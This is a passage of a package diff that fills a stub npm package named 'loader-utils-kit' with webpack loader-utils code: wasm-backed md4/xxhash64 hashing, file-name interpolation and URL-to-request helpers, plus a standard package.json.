RC8IHAh4CegPgAg0IEiIQiBEKGjJiw4MCBgwZ8QgSIQoGChIiQoMCAAYNCJ34gBEKw4MCBg4aMmDCEfDcDAEEIIwKtIgRC//8DgyAEQoCA/P8Pg0IQhoQiBEL/gYCA8B+DIARCgP6DgIDgP4NCCIaEIgRCj4C8gPCBwAeDQgiGIARC8IHAh4CegPgAg0IEiIQiBEKGjJiw4MCBgwZ8QgSIQoGChIiQoMCAAYNCJ34gBEKw4MCBg4aMmDCEfDcDAEEQIwOtIgRC//8DgyAEQoCA/P8Pg0IQhoQiBEL/gYCA8B+DIARCgP6DgIDgP4NCCIaEIgRCj4C8gPCBwAeDQgiGIARC8IHAh4CegPgAg0IEiIQiBEKGjJiw4MCBgwZ8QgSIQoGChIiQoMCAAYNCJ34gBEKw4MCBg4aMmDCEfDcDAEEYIwStIgRC//8DgyAEQoCA/P8Pg0IQhoQiBEL/gYCA8B+DIARCgP6DgIDgP4NCCIaEIgRCj4C8gPCBwAeDQgiGIARC8IHAh4CegPgAg0IEiIQiBEKGjJiw4MCBgwZ8QgSIQoGChIiQoMCAAYNCJ34gBEKw4MCBg4aMmDCEfDcDAAs=",
15
+ "base64"
16
+ )
17
+ );
18
+ //#endregion
19
+
20
+ module.exports = create.bind(null, md4, [], 64, 32);
@@ -0,0 +1,208 @@
1
+ /*
2
+ MIT License http://www.opensource.org/licenses/mit-license.php
3
+ Author Tobias Koppers @sokra
4
+ */
5
+
6
+ "use strict";
7
+
8
+ // 65536 is the size of a wasm memory page
9
+ // 64 is the maximum chunk size for every possible wasm hash implementation
10
+ // 4 is the maximum number of bytes per char for string encoding (max is utf-8)
11
+ // ~3 makes sure that it's always a block of 4 chars, so avoid partially encoded bytes for base64
12
+ const MAX_SHORT_STRING = Math.floor((65536 - 64) / 4) & ~3;
13
+
14
+ class WasmHash {
15
+ /**
16
+ * @param {WebAssembly.Instance} instance wasm instance
17
+ * @param {WebAssembly.Instance[]} instancesPool pool of instances
18
+ * @param {number} chunkSize size of data chunks passed to wasm
19
+ * @param {number} digestSize size of digest returned by wasm
20
+ */
21
+ constructor(instance, instancesPool, chunkSize, digestSize) {
22
+ const exports = /** @type {any} */ (instance.exports);
23
+
24
+ exports.init();
25
+
26
+ this.exports = exports;
27
+ this.mem = Buffer.from(exports.memory.buffer, 0, 65536);
28
+ this.buffered = 0;
29
+ this.instancesPool = instancesPool;
30
+ this.chunkSize = chunkSize;
31
+ this.digestSize = digestSize;
32
+ }
33
+
34
+ reset() {
35
+ this.buffered = 0;
36
+ this.exports.init();
37
+ }
38
+
39
+ /**
40
+ * @param {Buffer | string} data data
41
+ * @param {BufferEncoding=} encoding encoding
42
+ * @returns {this} itself
43
+ */
44
+ update(data, encoding) {
45
+ if (typeof data === "string") {
46
+ while (data.length > MAX_SHORT_STRING) {
47
+ this._updateWithShortString(data.slice(0, MAX_SHORT_STRING), encoding);
48
+ data = data.slice(MAX_SHORT_STRING);
49
+ }
50
+
51
+ this._updateWithShortString(data, encoding);
52
+
53
+ return this;
54
+ }
55
+
56
+ this._updateWithBuffer(data);
57
+
58
+ return this;
59
+ }
60
+
61
+ /**
62
+ * @param {string} data data
63
+ * @param {BufferEncoding=} encoding encoding
64
+ * @returns {void}
65
+ */
66
+ _updateWithShortString(data, encoding) {
67
+ const { exports, buffered, mem, chunkSize } = this;
68
+
69
+ let endPos;
70
+
71
+ if (data.length < 70) {
72
+ if (!encoding || encoding === "utf-8" || encoding === "utf8") {
73
+ endPos = buffered;
74
+ for (let i = 0; i < data.length; i++) {
75
+ const cc = data.charCodeAt(i);
76
+
77
+ if (cc < 0x80) {
78
+ mem[endPos++] = cc;
79
+ } else if (cc < 0x800) {
80
+ mem[endPos] = (cc >> 6) | 0xc0;
81
+ mem[endPos + 1] = (cc & 0x3f) | 0x80;
82
+ endPos += 2;
83
+ } else {
84
+ // bail-out for weird chars
85
+ endPos += mem.write(data.slice(i), endPos, encoding);
86
+ break;
87
+ }
88
+ }
89
+ } else if (encoding === "latin1") {
90
+ endPos = buffered;
91
+
92
+ for (let i = 0; i < data.length; i++) {
93
+ const cc = data.charCodeAt(i);
94
+
95
+ mem[endPos++] = cc;
96
+ }
97
+ } else {
98
+ endPos = buffered + mem.write(data, buffered, encoding);
99
+ }
100
+ } else {
101
+ endPos = buffered + mem.write(data, buffered, encoding);
102
+ }
103
+
104
+ if (endPos < chunkSize) {
105
+ this.buffered = endPos;
106
+ } else {
107
+ const l = endPos & ~(this.chunkSize - 1);
108
+
109
+ exports.update(l);
110
+
111
+ const newBuffered = endPos - l;
112
+
113
+ this.buffered = newBuffered;
114
+
115
+ if (newBuffered > 0) {
116
+ mem.copyWithin(0, l, endPos);
117
+ }
118
+ }
119
+ }
120
+
121
+ /**
122
+ * @param {Buffer} data data
123
+ * @returns {void}
124
+ */
125
+ _updateWithBuffer(data) {
126
+ const { exports, buffered, mem } = this;
127
+ const length = data.length;
128
+
129
+ if (buffered + length < this.chunkSize) {
130
+ data.copy(mem, buffered, 0, length);
131
+
132
+ this.buffered += length;
133
+ } else {
134
+ const l = (buffered + length) & ~(this.chunkSize - 1);
135
+
136
+ if (l > 65536) {
137
+ let i = 65536 - buffered;
138
+
139
+ data.copy(mem, buffered, 0, i);
140
+ exports.update(65536);
141
+
142
+ const stop = l - buffered - 65536;
143
+
144
+ while (i < stop) {
145
+ data.copy(mem, 0, i, i + 65536);
146
+ exports.update(65536);
147
+ i += 65536;
148
+ }
149
+
150
+ data.copy(mem, 0, i, l - buffered);
151
+
152
+ exports.update(l - buffered - i);
153
+ } else {
154
+ data.copy(mem, buffered, 0, l - buffered);
155
+
156
+ exports.update(l);
157
+ }
158
+
159
+ const newBuffered = length + buffered - l;
160
+
161
+ this.buffered = newBuffered;
162
+
163
+ if (newBuffered > 0) {
164
+ data.copy(mem, 0, length - newBuffered, length);
165
+ }
166
+ }
167
+ }
168
+
169
+ digest(type) {
170
+ const { exports, buffered, mem, digestSize } = this;
171
+
172
+ exports.final(buffered);
173
+
174
+ this.instancesPool.push(this);
175
+
176
+ const hex = mem.toString("latin1", 0, digestSize);
177
+
178
+ if (type === "hex") {
179
+ return hex;
180
+ }
181
+
182
+ if (type === "binary" || !type) {
183
+ return Buffer.from(hex, "hex");
184
+ }
185
+
186
+ return Buffer.from(hex, "hex").toString(type);
187
+ }
188
+ }
189
+
190
+ const create = (wasmModule, instancesPool, chunkSize, digestSize) => {
191
+ if (instancesPool.length > 0) {
192
+ const old = instancesPool.pop();
193
+
194
+ old.reset();
195
+
196
+ return old;
197
+ } else {
198
+ return new WasmHash(
199
+ new WebAssembly.Instance(wasmModule),
200
+ instancesPool,
201
+ chunkSize,
202
+ digestSize
203
+ );
204
+ }
205
+ };
206
+
207
+ module.exports = create;
208
+ module.exports.MAX_SHORT_STRING = MAX_SHORT_STRING;
@@ -0,0 +1,20 @@
1
+ /*
2
+ MIT License http://www.opensource.org/licenses/mit-license.php
3
+ Author Tobias Koppers @sokra
4
+ */
5
+
6
+ "use strict";
7
+
8
+ const create = require("./wasm-hash");
9
+
10
+ //#region wasm code: xxhash64 (../../../assembly/hash/xxhash64.asm.ts) --initialMemory 1
11
+ const xxhash64 = new WebAssembly.Module(
12
+ Buffer.from(
13
+ // 1173 bytes
14
+ "AGFzbQEAAAABCAJgAX8AYAAAAwQDAQAABQMBAAEGGgV+AUIAC34BQgALfgFCAAt+AUIAC34BQgALByIEBGluaXQAAAZ1cGRhdGUAAQVmaW5hbAACBm1lbW9yeQIACrUIAzAAQtbrgu7q/Yn14AAkAELP1tO+0ser2UIkAUIAJAJC+erQ0OfJoeThACQDQgAkBAvUAQIBfwR+IABFBEAPCyMEIACtfCQEIwAhAiMBIQMjAiEEIwMhBQNAIAIgASkDAELP1tO+0ser2UJ+fEIfiUKHla+vmLbem55/fiECIAMgASkDCELP1tO+0ser2UJ+fEIfiUKHla+vmLbem55/fiEDIAQgASkDEELP1tO+0ser2UJ+fEIfiUKHla+vmLbem55/fiEEIAUgASkDGELP1tO+0ser2UJ+fEIfiUKHla+vmLbem55/fiEFIAAgAUEgaiIBSw0ACyACJAAgAyQBIAQkAiAFJAMLqwYCAX8EfiMEQgBSBH4jACICQgGJIwEiA0IHiXwjAiIEQgyJfCMDIgVCEol8IAJCz9bTvtLHq9lCfkIfiUKHla+vmLbem55/foVCh5Wvr5i23puef35CnaO16oOxjYr6AH0gA0LP1tO+0ser2UJ+Qh+JQoeVr6+Ytt6bnn9+hUKHla+vmLbem55/fkKdo7Xqg7GNivoAfSAEQs/W077Sx6vZQn5CH4lCh5Wvr5i23puef36FQoeVr6+Ytt6bnn9+Qp2jteqDsY2K+gB9IAVCz9bTvtLHq9lCfkIfiUKHla+vmLbem55/foVCh5Wvr5i23puef35CnaO16oOxjYr6AH0FQsXP2bLx5brqJwsjBCAArXx8IQIDQCABQQhqIABNBEAgAiABKQMAQs/W077Sx6vZQn5CH4lCh5Wvr5i23puef36FQhuJQoeVr6+Ytt6bnn9+Qp2jteqDsY2K+gB9IQIgAUEIaiEBDAELCyABQQRqIABNBEACfyACIAE1AgBCh5Wvr5i23puef36FQheJQs/W077Sx6vZQn5C+fPd8Zn2masWfCECIAFBBGoLIQELA0AgACABRwRAIAIgATEAAELFz9my8eW66id+hUILiUKHla+vmLbem55/fiECIAFBAWohAQwBCwtBACACIAJCIYiFQs/W077Sx6vZQn4iAiACQh2IhUL5893xmfaZqxZ+IgIgAkIgiIUiAkIgiCIDQv//A4NCIIYgA0KAgPz/D4NCEIiEIgNC/4GAgPAfg0IQhiADQoD+g4CA4D+DQgiIhCIDQo+AvIDwgcAHg0IIhiADQvCBwIeAnoD4AINCBIiEIgNChoyYsODAgYMGfEIEiEKBgoSIkKDAgAGDQid+IANCsODAgYOGjJgwhHw3AwBBCCACQv////8PgyICQv//A4NCIIYgAkKAgPz/D4NCEIiEIgJC/4GAgPAfg0IQhiACQoD+g4CA4D+DQgiIhCICQo+AvIDwgcAHg0IIhiACQvCBwIeAnoD4AINCBIiEIgJChoyYsODAgYMGfEIEiEKBgoSIkKDAgAGDQid+IAJCsODAgYOGjJgwhHw3AwAL",
15
+ "base64"
16
+ )
17
+ );
18
+ //#endregion
19
+
20
+ module.exports = create.bind(null, xxhash64, [], 32, 16);
package/lib/index.js ADDED
@@ -0,0 +1,11 @@
1
+ "use strict";
2
+
3
+ const isUrlRequest = require("./isUrlRequest");
4
+ const urlToRequest = require("./urlToRequest");
5
+ const getHashDigest = require("./getHashDigest");
6
+ const interpolateName = require("./interpolateName");
7
+
8
+ exports.urlToRequest = urlToRequest;
9
+ exports.getHashDigest = getHashDigest;
10
+ exports.interpolateName = interpolateName;
11
+ exports.isUrlRequest = isUrlRequest;
@@ -0,0 +1,117 @@
1
+ "use strict";
2
+
3
+ const path = require("path");
4
+ const getHashDigest = require("./getHashDigest");
5
+
6
+ function interpolateName(loaderContext, name, options = {}) {
7
+ let filename;
8
+
9
+ const hasQuery =
10
+ loaderContext.resourceQuery && loaderContext.resourceQuery.length > 1;
11
+
12
+ if (typeof name === "function") {
13
+ filename = name(
14
+ loaderContext.resourcePath,
15
+ hasQuery ? loaderContext.resourceQuery : undefined
16
+ );
17
+ } else {
18
+ filename = name || "[hash].[ext]";
19
+ }
20
+
21
+ const context = options.context;
22
+ const content = options.content;
23
+ const regExp = options.regExp;
24
+
25
+ let ext = "bin";
26
+ let basename = "file";
27
+ let directory = "";
28
+ let folder = "";
29
+ let query = "";
30
+
31
+ if (loaderContext.resourcePath) {
32
+ const parsed = path.parse(loaderContext.resourcePath);
33
+ let resourcePath = loaderContext.resourcePath;
34
+
35
+ if (parsed.ext) {
36
+ ext = parsed.ext.substr(1);
37
+ }
38
+
39
+ if (parsed.dir) {
40
+ basename = parsed.name;
41
+ resourcePath = parsed.dir + path.sep;
42
+ }
43
+
44
+ if (typeof context !== "undefined") {
45
+ directory = path
46
+ .relative(context, resourcePath + "_")
47
+ .replace(/\\/g, "/")
48
+ .replace(/\.\.(\/)?/g, "_$1");
49
+ directory = directory.substr(0, directory.length - 1);
50
+ } else {
51
+ directory = resourcePath.replace(/\\/g, "/").replace(/\.\.(\/)?/g, "_$1");
52
+ }
53
+
54
+ if (directory.length <= 1) {
55
+ directory = "";
56
+ } else {
57
+ // directory.length > 1
58
+ folder = path.basename(directory);
59
+ }
60
+ }
61
+
62
+ if (loaderContext.resourceQuery && loaderContext.resourceQuery.length > 1) {
63
+ query = loaderContext.resourceQuery;
64
+
65
+ const hashIdx = query.indexOf("#");
66
+
67
+ if (hashIdx >= 0) {
68
+ query = query.substr(0, hashIdx);
69
+ }
70
+ }
71
+
72
+ let url = filename;
73
+
74
+ if (content) {
75
+ // Match hash template
76
+ url = url
77
+ // `hash` and `contenthash` are same in `loader-utils` context
78
+ // let's keep `hash` for backward compatibility
79
+ .replace(
80
+ /\[(?:([^[:\]]+):)?(?:hash|contenthash)(?::([a-z]+\d*(?:safe)?))?(?::(\d+))?\]/gi,
81
+ (all, hashType, digestType, maxLength) =>
82
+ getHashDigest(content, hashType, digestType, parseInt(maxLength, 10))
83
+ );
84
+ }
85
+
86
+ url = url
87
+ .replace(/\[ext\]/gi, () => ext)
88
+ .replace(/\[name\]/gi, () => basename)
89
+ .replace(/\[path\]/gi, () => directory)
90
+ .replace(/\[folder\]/gi, () => folder)
91
+ .replace(/\[query\]/gi, () => query);
92
+
93
+ if (regExp && loaderContext.resourcePath) {
94
+ const match = loaderContext.resourcePath.match(new RegExp(regExp));
95
+
96
+ match &&
97
+ match.forEach((matched, i) => {
98
+ url = url.replace(new RegExp("\\[" + i + "\\]", "ig"), matched);
99
+ });
100
+ }
101
+
102
+ if (
103
+ typeof loaderContext.options === "object" &&
104
+ typeof loaderContext.options.customInterpolateName === "function"
105
+ ) {
106
+ url = loaderContext.options.customInterpolateName.call(
107
+ loaderContext,
108
+ url,
109
+ name,
110
+ options
111
+ );
112
+ }
113
+
114
+ return url;
115
+ }
116
+
117
+ module.exports = interpolateName;
@@ -0,0 +1,31 @@
1
+ "use strict";
2
+
3
+ const path = require("path");
4
+
5
+ function isUrlRequest(url) {
6
+ // An URL is not an request if
7
+
8
+ // 1. Allow `data URI`
9
+ if (/^data:/i.test(url)) {
10
+ return true;
11
+ }
12
+
13
+ // 2. It's an absolute url and it is not `windows` path like `C:\dir\file`
14
+ if (/^[a-z][a-z0-9+.-]*:/i.test(url) && !path.win32.isAbsolute(url)) {
15
+ return false;
16
+ }
17
+
18
+ // 3. It's a protocol-relative
19
+ if (/^\/\//.test(url)) {
20
+ return false;
21
+ }
22
+
23
+ // 4. It's some kind of url for a template
24
+ if (/^#/.test(url)) {
25
+ return false;
26
+ }
27
+
28
+ return true;
29
+ }
30
+
31
+ module.exports = isUrlRequest;
@@ -0,0 +1,60 @@
1
+ "use strict";
2
+
3
+ // we can't use path.win32.isAbsolute because it also matches paths starting with a forward slash
4
+ const matchNativeWin32Path = /^[A-Z]:[/\\]|^\\\\/i;
5
+
6
+ function urlToRequest(url, root) {
7
+ // Do not rewrite an empty url
8
+ if (url === "") {
9
+ return "";
10
+ }
11
+
12
+ const moduleRequestRegex = /^[^?]*~/;
13
+ let request;
14
+
15
+ if (matchNativeWin32Path.test(url)) {
16
+ // absolute windows path, keep it
17
+ request = url;
18
+ } else if (root !== undefined && root !== false && /^\//.test(url)) {
19
+ // if root is set and the url is root-relative
20
+ switch (typeof root) {
21
+ // 1. root is a string: root is prefixed to the url
22
+ case "string":
23
+ // special case: `~` roots convert to module request
24
+ if (moduleRequestRegex.test(root)) {
25
+ request = root.replace(/([^~/])$/, "$1/") + url.slice(1);
26
+ } else {
27
+ request = root + url;
28
+ }
29
+ break;
30
+ // 2. root is `true`: absolute paths are allowed
31
+ // *nix only, windows-style absolute paths are always allowed as they doesn't start with a `/`
32
+ case "boolean":
33
+ request = url;
34
+ break;
35
+ default:
36
+ throw new Error(
37
+ "Unexpected parameters to loader-utils 'urlToRequest': url = " +
38
+ url +
39
+ ", root = " +
40
+ root +
41
+ "."
42
+ );
43
+ }
44
+ } else if (/^\.\.?\//.test(url)) {
45
+ // A relative url stays
46
+ request = url;
47
+ } else {
48
+ // every other url is threaded like a relative url
49
+ request = "./" + url;
50
+ }
51
+
52
+ // A `~` makes the url an module
53
+ if (moduleRequestRegex.test(request)) {
54
+ request = request.replace(moduleRequestRegex, "");
55
+ }
56
+
57
+ return request;
58
+ }
59
+
60
+ module.exports = urlToRequest;
package/package.json CHANGED
@@ -1,6 +1,35 @@
1
1
  {
2
2
  "name": "loader-utils-kit",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "4.2.1",
4
+ "author": "Tobias Koppers @sokra",
5
+ "description": "utils for webpack loaders",
6
+ "dependencies": {},
7
+ "scripts": {
8
+ "lint": "prettier --list-different . && eslint .",
9
+ "pretest": "yarn lint",
10
+ "test": "jest",
11
+ "test:only": "jest --coverage",
12
+ "test:ci": "yarn test:only",
13
+ "release": "yarn test && standard-version"
14
+ },
15
+ "license": "MIT",
16
+ "repository": {
17
+ "type": "git",
18
+ "url": "https://github.com/webpack/loader-utils.git"
19
+ },
20
+ "engines": {
21
+ "node": ">= 12.13.0"
22
+ },
23
+ "devDependencies": {
24
+ "coveralls": "^3.1.1",
25
+ "eslint": "^8.0.1",
26
+ "eslint-plugin-node": "^11.1.0",
27
+ "jest": "^27.3.1",
28
+ "prettier": "^2.4.1",
29
+ "standard-version": "^9.3.2"
30
+ },
31
+ "main": "lib/index.js",
32
+ "files": [
33
+ "lib"
34
+ ]
35
+ }